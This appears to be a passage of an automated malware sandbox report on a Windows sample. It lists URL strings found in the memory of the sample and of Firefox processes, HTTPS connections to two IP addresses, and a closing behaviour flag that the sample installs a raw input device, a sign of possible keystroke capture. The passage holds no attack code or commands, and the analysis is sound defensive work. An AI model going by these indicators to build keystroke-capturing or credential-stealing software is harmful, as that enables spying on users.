Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B4884B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682882232.0000025B47F07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://9eeed604-9883-4846-a688-8a355e52e
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B4884B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682882232.0000025B47F07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/searchisReplyEventFromRemoteContentapp-background-update-offflippedInheritedA
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001C.00000002.2743683030.0000025B438AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739452192.000000BC27BFC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/about/AGmFIxmjSDFOwrdQtw.exe
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B49103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4375D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2739452192.000000BC27BFC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.msn.comeNodeZycC
Source: firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743683030.0000025B438C9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.tsn.caZycC
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B49738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2785598425.0000025B49831000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B4537B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: 7bfd2dfdc1.exe, 00000019.00000002.3450037766.0000000006AB6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/a
Source: firefox.exe, 0000001C.00000002.2767695343.0000025B48588000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B4537B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2785598425.0000025B49831000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811900560.0000025DAED80000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811900560.0000025DAED84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 0000001B.00000002.2679284920.00000212DED20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account0c
Source: firefox.exe, 0000001A.00000002.2673881166.000001E0762D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountC:
Source: firefox.exe, 0000001C.00000002.2741299841.0000025B37D20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountH
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountM
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811900560.0000025DAED80000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811900560.0000025DAED84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account_searchModeIndicatorTitle
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountdraggableregionleftmousedownhttps://www.youtube.com/accountget
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountfingerprinting-annotationsocialtracking-annotation_isMixedActiveConte
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountget
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountgetCurrentInnerWindowWithIdinternal:privateBrowsingAllowed
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.comZycC
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001C.00000002.2781883670.0000025B496EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2785598425.0000025B49838000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001C.00000002.2781883670.0000025B496EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.comG
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.comQUERY_STRIPPING_STRIP_ON_SHARE
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.comhttps://www.youtube.com/account
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.comhttps://www.youtube.com/accountexperimental.searchButton
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49821 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49827 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49911 version: TLS 1.2
Installs a raw input device (often for capturing keystrokes)
